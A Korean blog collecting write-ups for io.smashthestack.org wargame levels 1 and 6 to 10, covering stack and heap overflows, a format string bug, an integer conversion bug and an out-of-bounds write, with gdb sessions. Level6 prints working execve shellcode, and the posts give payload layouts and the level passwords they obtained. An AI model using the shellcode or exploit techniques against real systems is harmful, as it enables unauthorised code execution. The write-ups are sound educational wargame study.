level10

크리에이티브 커먼즈 라이선스
Creative Commons License

이번 문제는 다른문제보다 삽질을 좀 많이 한 문제입니다


먼저 소스를 보여드리겠습니다


#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>


int main(int argc, char **argv){

        FILE *fp = fopen("/levels/level10_alt.pass", "r");

        struct {char pass[20], msg_err[20]} pwfile = {{0}};

        char ptr[0];


        if(!fp || argc != 2)

                return -1;


        fread(pwfile.pass, 1, 20, fp);

pwfile.pass[19] = 0;

        ptr[atoi(argv[1])] = 0;

        fread(pwfile.msg_err, 1, 19, fp);

        fclose(fp);


        if(!strcmp(pwfile.pass, argv[1]))

                execl("/bin/sh", "sh", 0);

        else

                puts(pwfile.msg_err);



        return 0;

} 

/levels/level10_alt.pass 에 level10 계정의 읽기권한이 없기때문에

gdb로 이 프로그램을 그대로 실행 할 경우 fopen이 실패합니다

소스에서 ptr[atoi(argv[1])] = 0; <- 이부분이 프로그램의도와는 전혀 상관없는 부분이기 때문에

이부분을 이용해서 푸는게 의도인건 알았는데 어디를 덮어씌워야할지 난감했습니다


먼저 메모리 레이아웃을 말씀드리면

ptr    = ebp - 0x58

pwfile.pass    ebp - 0x48

pwfile.msg_err    ebp - 0x34

이런식으로 위치합니다

따라서 ptr[16] = 0 을 하면 pwfile.pass는 공백으로 만들수 있지만 argv[1]이 "16"이기 때문에 strcmp는 어쨌든 실패합니다


그런데 strcmp가 실패할경우 pwfile.msg_err를 출력합니다

strcmp가 실패하면 그냥 단순하게 puts("ACCESS DENIED..."); 를 출력하면되는데

저 메세지를 굳이 파일에 넣는단건

pwfile.msg_err = pwfile.pass 가 되게 해 pass를 출력하게 하면 된다는 뜻입니다


원래 삽질을 소스를 복사해서 컴파일해 하고 있었는데

원본바이너리랑 차이가 좀 심해서

원본바이너리를 복사해 hexedit으로 fopen 인자로 들어가는 문자열을 수정해서 테스트 해봤습니다



그런데 디버깅하면서 보니 fopen의 리턴값이 힙영역 주소가 나와서

힙영역 메모리를 덤프떠보니 pwfile.pass와 pwfile.msg_err 내용을 가르키는 포인터들이 있단걸 확인했습니다




(gdb) disp/i $pc

1: x/i $pc

=> 0x8048575 <main+177>: call   0x80483f8 <fread@plt>

(gdb) x/50wx 0x804a00c

0x804a00c: 0xb7fde014 0xb7fde025 0xb7fde000 0xb7fde000

0x804a01c: 0xb7fde000 0xb7fde000 0xb7fde000 0xb7fdf000

0x804a02c: 0x00000000 0x00000000 0x00000000 0x00000000

0x804a03c: 0xb7fd0580 0x00000007 0x00000000 0x00000000

0x804a04c: 0x00000000 0x0804a0a0 0xffffffff 0xffffffff

0x804a05c: 0x00000000 0x0804a0ac 0x00000000 0x00000000

0x804a06c: 0x00000000 0xffffffff 0x00000000 0x00000000

0x804a07c: 0x00000000 0x00000000 0x00000000 0x00000000

0x804a08c: 0x00000000 0x00000000 0x00000000 0x00000000

0x804a09c: 0xb7fcf9e0 0x00000000 0x00000000 0x00000000

0x804a0ac: 0x00000000 0x00000000 0x00000000 0x00000000

0x804a0bc: 0x00000000 0x00000000 0x00000000 0x00000000

0x804a0cc: 0x00000000 0x00000000

(gdb) x/s 0xb7fde014

0xb7fde014: "ACCESS DENIED...\n"

(gdb) x/s 0xb7fde000

0xb7fde000: "passwordpasswordtestACCESS DENIED...\n"

(gdb) 

0xb7fde014 에서 최하위바이트만 0으로 맞춰주면

패스워드가 그대로 있습니다


io.smashthestack.org 가 ASLR이 꺼져있기때문에

ptr의 주소는 항상 일정합니다

argv[1]에 따라 main함수의 ebp가 바뀌니 일단 없이 넣어주고 argv[1]에 들어가야되는 숫자의 자리수를 확인해 다시 넣어준 뒤의 ebp를 확인합니다

level10@io:/tmp/cd$ gdb -q level10

Reading symbols from /tmp/cd/level10...(no debugging symbols found)...done.

(gdb) b main

Breakpoint 1 at 0x80484c8

(gdb) r

Starting program: /tmp/cd/level10 


Breakpoint 1, 0x080484c8 in main ()

(gdb) i r ebp

ebp            0xbffffcb8 0xbffffcb8

(gdb) p $ebp - 0x58

$1 = (void *) 0xbffffc60

(gdb) p 0x804a00c - 0xbffffc60

$2 = 1208263596

(gdb) r 1208263596

The program being debugged has been started already.

Start it from the beginning? (y or n) y

Starting program: /tmp/cd/level10 1208263596


Breakpoint 1, 0x080484c8 in main ()

(gdb) i r ebp

ebp            0xbffffca8 0xbffffca8

(gdb) p $ebp - 0x58

$3 = (void *) 0xbffffc50

(gdb) p 0x804a00c - 0xbffffc50

$4 = 1208263612

(gdb)


level10@io:/tmp/cd$ /levels/level10 1208263612

AverYloNgPassword!!

level10@io:/tmp/cd$ 

쉘에서 느낌표를 넣어주려고 했는데 잘 안돼서 파일에 넣고 argv에 넣었습니다


level10@io:/tmp/cd$ cat > ./pass

AverYloNgPassword!!

level10@io:/tmp/cd$ /levels/level10 $(cat ./pass)

sh-4.2$ whoami

level11

sh-4.2$


신고

'워게임 > io.smashthestack.org' 카테고리의 다른 글

level10  (0) 2014.02.02
level9  (0) 2013.08.25
level8  (0) 2013.08.25
level7  (0) 2013.08.24
level6  (0) 2013.08.24
level1  (0) 2013.07.14

설정

트랙백

댓글

level9

크리에이티브 커먼즈 라이선스
Creative Commons License

이번문제도 흔하디흔한 fsb문제입니다

이번문제는 취약점을 찾는게 문제가 아니라 fsb를 익스플로잇할줄 아는지 묻는 문제입니다



버퍼오버플로우는 불가능하고 대놓고 printf(buf) 해줍니다

저처럼 ftz level20에서 fsb 한번하고 말았던 사람들한텐 복습하기 좋은 문제입니다

fsb 관련해선

https://research.hackerschool.org:8080/Html/WG_Documents.html

여기 좋은 문서들이 많습니다


이문제도 스샷하나로 끝내겠습니다


깔깔깔


---- 지금 서버상 프로세스가 너무많아 새 접속이 안돼서 스샷을 바꿀수가없는데

0x80494d4는 .dtors + 4입니다

신고

'워게임 > io.smashthestack.org' 카테고리의 다른 글

level10  (0) 2014.02.02
level9  (0) 2013.08.25
level8  (0) 2013.08.25
level7  (0) 2013.08.24
level6  (0) 2013.08.24
level1  (0) 2013.07.14

설정

트랙백

댓글

level8

크리에이티브 커먼즈 라이선스
Creative Commons License
안녕하세요 여러분 하하하

먼저 소스부터 보시죠




일단 setAnnotation에서 오버플로우를 발생시킬 수 있단건 한눈에 보입니다

근데 대체 어떻게 실행흐름을 제어할수 있는지는 소스코드만 봐서는 와닿지가 않습니다

일단 annotation이 갖는 값은 100바이트고 여기에 memcpy() 함수로 strlen(input)만큼

복사하기 때문에 입력한값이 모두 들어가는데에서 취약점이 발생합니다

한번 정적분석해보겠습니다


안해보겠습니다................ 함수명이 뭐이리더러워...


_ZN6Number13setAnnotationEPc 가 왠지 setAnnotation함수같습니다


memcpy에 브레이크포인트를걸어 동적분석해보겠습니다


0x804a00c에 annoation[100] 이 있습니다


cpp로 작성된 프로그램을 처음 디버깅해봐서 새로운걸 몇개 알게됐는데

1. public과 private는 완전히 다른 영역에 적재되지않는다

2. 먼저 선언된것이 높은 메모리주소에 있는건 여기서도 똑같다

이 두개입니다

즉 annoation[100] 에서 얼마 되지않는곳에 + 연산자를 오버로드한 루틴의 주소가 있습니다


얼마되지않는곳에 바이너리 영역의 주소가 있습니다

이 주소는 Number 클래스의 주소이고

dword 몇개를 확인해보면 0x80488c8 주소엔 0x80487e2가 있는걸 보실 수 있습니다


바로 이부분이 오버로딩한 루틴입니다

annoation[100]의 주소는 정적이니 예를들어

첫 dword에 &annoation+0x4인 0x804a010을 쓰고

그뒤로 쉘코드를 넣어준후

0x804a078에 0x804a00c를 넣어주면 실행흐름을 쉘코드로 바꿔줄수가 있습니다


페이로드는

[ 0x804a010 ] + [ shellcode (37byte) ] + [ dummy 67 ] + [ 0x804a00c ] 입니다

쉘코드는 level6을 풀때 썼던 쉘코드를 그대로 사용했습니다




성공 하하하하하

신고

'워게임 > io.smashthestack.org' 카테고리의 다른 글

level10  (0) 2014.02.02
level9  (0) 2013.08.25
level8  (0) 2013.08.25
level7  (0) 2013.08.24
level6  (0) 2013.08.24
level1  (0) 2013.07.14

설정

트랙백

댓글

level7

크리에이티브 커먼즈 라이선스
Creative Commons License

안녕하시죠 여러분

이번문제는 흔하고도 흔한 type conversion 취약점입니다

memcpy 의 세번째인자의 데이터형은 unsigned int 인데

인자로 int형이 넘어가고 if문으로 <=10 할때도 int형으로 검사하니

적당히 -2147483630 정도를 줘버리면 unsigned int론 18이 되니

아주 적당히 익스플로잇이 가능합니다

이번 문제는 분석할것도 없이 소스보면 바로 풀리는 문제니 스샷하나로 끝내겠습니다

절대 귀찮은건아니에요....



끝~

신고

'워게임 > io.smashthestack.org' 카테고리의 다른 글

level10  (0) 2014.02.02
level9  (0) 2013.08.25
level8  (0) 2013.08.25
level7  (0) 2013.08.24
level6  (0) 2013.08.24
level1  (0) 2013.07.14

설정

트랙백

댓글

level6

크리에이티브 커먼즈 라이선스
Creative Commons License
오랜만에 블로그에 글을쓰네요 하하하하

오늘부터 다시 블로그에 글도 올릴겸 스매쉬더스택으로 첫스타트를 끊으려합니다

level5까진 풀이쓸게 정말 없어서 다 건너뛰고 level6부터 쓰겠습니다


io.smashthestack.org 에 들어가보시면 접속정보를 보실수 있고

아직 level6에 못오신분들은 level1부터 차근차근해보시면 됩니다


아직 전 실력이 너무 떨어져서 풀이가 중구난방합니다 ㅜㅜ

아 이런 뉴비들은 이문제를 이렇게 푸는구나 라고 봐주시면 될것같습니다 하하하


먼저 오늘 처음으로 풀이를 작성할 문제부터 보여드리겠습니다

원래 풀이를 쓸땐 좀 멋있어보일려고 정석대로 푸는데

스매쉬더스택풀이는 그냥 제가 푼 방식 그대로 올리도록하겠습니다



사실 처음 봤을땐 멘붕이였습니다 ㅋㅋ

옛날에 레벨 10까지 풀었었는데 비번 기록을 안해둬서 다시 풀면서 블로그에 작성하는건데

처음 이문제를 풀땐 취약점을 익스플로잇하는거보다 찾는게 더 어려웠습니다 ㅋㅋㅋ

분명히 인풋을 많이넣어주면 세그멘테이션폴트가 뜨긴뜨는데 그게 eip변조때문에 뜨는게아니라 prompt_full_name에서 호출하는 strcpy였나 strcat에서 세그폴이뜨고

참 이게 왜 취약점이 발생하는지 이해하기가 힘들었는데

문제는 저 strncpy에 있었습니다


차근차근 보겠습니다

먼저 first 와 last에 sizeof-1인 19바이트를 넣어준후 메모리를 확인해보겠습니다




인풋이 strcpy와 strcat으로 복사된 후인 0x80485d2에 브레이크포인트를 걸고 실행하겠습니다


각각 19바이트를 넣어줬고 ebp-0x30, ebp-0x1c가 각각 first, last니 둘다 x/s로 확인해봅니다




너무 정상적입니다


이제 조금만 비정상적으로 각각 20바이트를 넣어보겠습니다



하하하하하하하

세그폴은떴는데 strcpy에서 떴습니다

이 포스팅에선 안보여드리지만 저 세그폴이 난 인스트럭션을 확인해보시면 0xc0000000에 접근하려다 세그폴이뜬걸 확인하실 수 있습니다

first를 확인해보니 맨처음에 A가 20개 있긴한데 뒤에 굉장히 많이있는걸 보실 수 있습니다

근데 A 20개 다음에 바로 B 20개가 있습니다

이는 즉 first 다음에 null byte로 경계가 구분되지 않고 last가 바로있어 두 변수가 붙어버린것입니다

이는 strncpy때문에 발생하는 버그인데

코드에서 보시면 \n이 있는곳에 널바이트를 삽입하는데

(A 20개 + \n) AAAAAAAAAAAAAAAAAAAA\n 이 되버릴경우

AAAAAAAAAAAAAAAAAAAA\x00 이 됩니다

그런데 이 \x00이 있는곳은 last변수의 시작부분입니다

따라서 이때 first에 A20개 + \n을 넣고 B를 20개 넣어줄경우

AAAAAAAAAAAAAAAAAAAA\n

AAAAAAAAAAAAAAAAAAAA\x00

AAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBB

이렇게되버립니다

소스를 다시 가져와보면

prompt_name을 두번한뒤 strcpy합니다

즉 strcpy(fullname, first) 할땐 이미 first = first+last가 되어있는상태입니다

그래서 strcpy + strcat + strcat 을 할땐

first에 20을 넣고 last에 19를 넣어서 last는 널바이트로 종결됐다고 가정한다고해도

first += last 이기때문에 len(first)는 nullbyte포함 40바이트가 되고

len(last)는 널바이트 포함 20바이트가 되어

fullname[42]에 복사되는 바이트 수는 60바이트가 됩니다

여기서 버퍼오버플로우가 발생합니다

하지만 위의 스샷에서 보듯이 strcpy()함수에서 세그폴이 발생하므로

last는 깔끔하게 종결시켜주고 A를 B와 붙게 20바이트를 넣어주면됩니다

익스플로잇으로 작성해 코어를 확인해보겠습니다



저 sleep은 첫번째 인풋과 두번째인풋의 간격이 너무짧아 두번째 인풋이 제대로 안들어가서 넣어준것입니다

실행권한을 주고 실행시키면


오예!!!!!

eip 조작에 성공했습니다

그럼 이제 어느부분에서 eip가 변조되는지 확인해보겠습니다


EEFF에서 eip가 변조됐습니다


딴딴


여기서 하나 +


하하하하하하하하하

io.smashthestack.org는 스택에 실행권한이 있어 스택에 쉘코드를 넣고 실행시킬수가있습니다

게다가 랜덤스택도 아니죠 ㅋㅋㅋ

= 쉘코드를 스택에 넣어 리턴어드레스를 변조하겠습니다

근데 커널 2.6부턴 setuid가 걸린 프로그램을 공격해 쉘을 실행해도 원래 uid의 쉘로 바뀌기때문에

쉘을 실행하기전 setreuid(uid, uid)를 해줘야합니다

보통 범용적으로 쉘코드를 작성할땐 geteuid를 호출해 그걸 setreuid의 인자로 넣어주는방법을 사용하는데

여기선 level7의 uid로만 바꿔주면 되니 직접 넣어주겠습니다

쉘코드에서 setreuid와 execve를 사용하니 두 시스템콜의 콜넘버를 확인하면




setreuid는 203

execve는 11입니다


쉘코드를 요래 작성해주고 기계어를 뽑아내보면


\x31\xc0\xb0\xcb\x99\x31\xdb\x66\xbb\xef\x03\x89\xd9\xcd\x80\x6a\x0b\x58\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80 이 됩니다



37바이트라 스택프레임안엔 집어넣을 수 없습니다

집어넣을순 있어도 사용이 불가능합니다 ( push 때문 )

환경변수에 넣고 사용하겠습니다

쉘코드는 0xbffff5e8에 있습니다


---------------------

좀 까리하게 익스플로잇하려 익스플로잇만 실행하면 쉘 명령을 칠수있게하고싶었으나 실패해 그냥 쉘에서 익스플로잇하겠습니다

read함수로 인풋을 받기때문에 3번째인자만큼 인풋을 모두 넣어줘야합니다


성공!

신고

'워게임 > io.smashthestack.org' 카테고리의 다른 글

level10  (0) 2014.02.02
level9  (0) 2013.08.25
level8  (0) 2013.08.25
level7  (0) 2013.08.24
level6  (0) 2013.08.24
level1  (0) 2013.07.14

설정

트랙백

댓글

level1

크리에이티브 커먼즈 라이선스
Creative Commons License


level1@io:/levels$ ls level01*

level01

level1@io:/levels$ 

소스코드가 제공되지 않는 문제이다




0x080485a6 <+16>: cmpl   $0x2,0x8(%ebp) 

0x080485aa <+20>: je     0x80485ca <main+52>

main+16 main+20에서 argc가 2이면 0x80485ca로 점프하는데


0x080485ca <+52>: call   0x804852d <pass> 

0x80485ca에선 pass() 란 함수를 호출한다


pass함수를 디스어셈블해보면


   0x0804853a <+13>: movl   $0x53,0x8049140

   0x08048544 <+23>: movl   $0x65,0x8049144

   0x0804854e <+33>: movl   $0x63,0x8049148

   0x08048558 <+43>: movl   $0x72,0x804914c

   0x08048562 <+53>: movl   $0x65,0x8049150

   0x0804856c <+63>: movl   $0x74,0x8049154

   0x08048576 <+73>: movl   $0x50,0x8049158

   0x08048580 <+83>: movl   $0x57,0x804915c

   0x0804858a <+93>: movl   $0x0,0x8049160 

이런부분이있다

0x53 = S
0x65 = e
0x63 = c
0x72 = r
0x65 = e
0x74 = t
0x50 = P
0x57 = W

0x8049140부터 한 DWORD에 한 CHAR씩 넣는걸 볼 수 있다

이를 이어보면 SecretPW이다


main함수에서 나머지부분을 쭉 보면

esp+0x8에 0x64를 넣고

*argv를 eax에넣고

eax를 1증가시켜 *argv[1]을 가르키게 한다

다음 다시 *argv[1]을 디레퍼런스해 eax에 넣으니 결과적으로 eax엔 argv[1]의 주소가 들어간다


다음 0x80491a0을 스택프레임에 넣는데 gdb x명령으로 확인해보면 변수명이 input인걸로 봐서 여기에 argv[1]을 복사하려는것 같다

다음에 mbstowcs() 함수를 호출하는데 레퍼런스를 보니 multi bytes to wide chars 함수라고 한다

mbstowcs(wchar_t *dest, const char *src, byteToWrite);

프로토타입이 요래돼있으니 dest에 0x80491a0이 들어가는게 맞고

src에 argv[1]이 들어가니 argv[1] -> 0x80491a0 복사이다

세번째인자엔 0x64를 넣었으니 최대 100바이트를 복사한다


0x80491a0이 .bss+32이고 bss영역이 0x117c바이트나 돼서 massive data input으론 아무것도 할 수 없고

좀더 보면 0x8049140과 0x80491a0을 차례대로 스택프레임에 넣고 wcxcmp로 복사하는 부분이있다



   0x080485fe <+104>: call   0x80483d8 <wcscmp@plt>

   0x08048603 <+109>: test   %eax,%eax

   0x08048605 <+111>: jne    0x804860c <main+118>

   0x08048607 <+113>: call   0x80484b4 <win>

   0x0804860c <+118>: movl   $0x8048795,(%esp)

   0x08048613 <+125>: call   0x80483e8 <puts@plt>

   0x08048618 <+130>: mov    -0x4(%ebp),%eax

   0x0804861b <+133>: leave  

   0x0804861c <+134>: ret 

wcscmp가 끝난후 eax가 0인지 확인하고 0이 아니라면 0x804860c로 보내 puts(); ret; 한다

win()함수를 호출해야하는거같으니 wcscmp()의 리턴값은 0 이여야 될것이고

아마 문자열 두개가같으면 0을 출력해주는거같다

0x8049140 은 SecretPW 였으니 우리가 넣을 0x80491a0에도 SecretPW가 있으면된다



level1@io:/levels$ ./level01 SecretPW

Win!


You will find the ssh password for level2 in /home/level2/.pass

sh-4.2$ cat /home/level2/.pass

tLmf7msJTJHEpw

sh-4.2$ 


신고

'워게임 > io.smashthestack.org' 카테고리의 다른 글

level10  (0) 2014.02.02
level9  (0) 2013.08.25
level8  (0) 2013.08.25
level7  (0) 2013.08.24
level6  (0) 2013.08.24
level1  (0) 2013.07.14

설정

트랙백

댓글


티스토리 툴바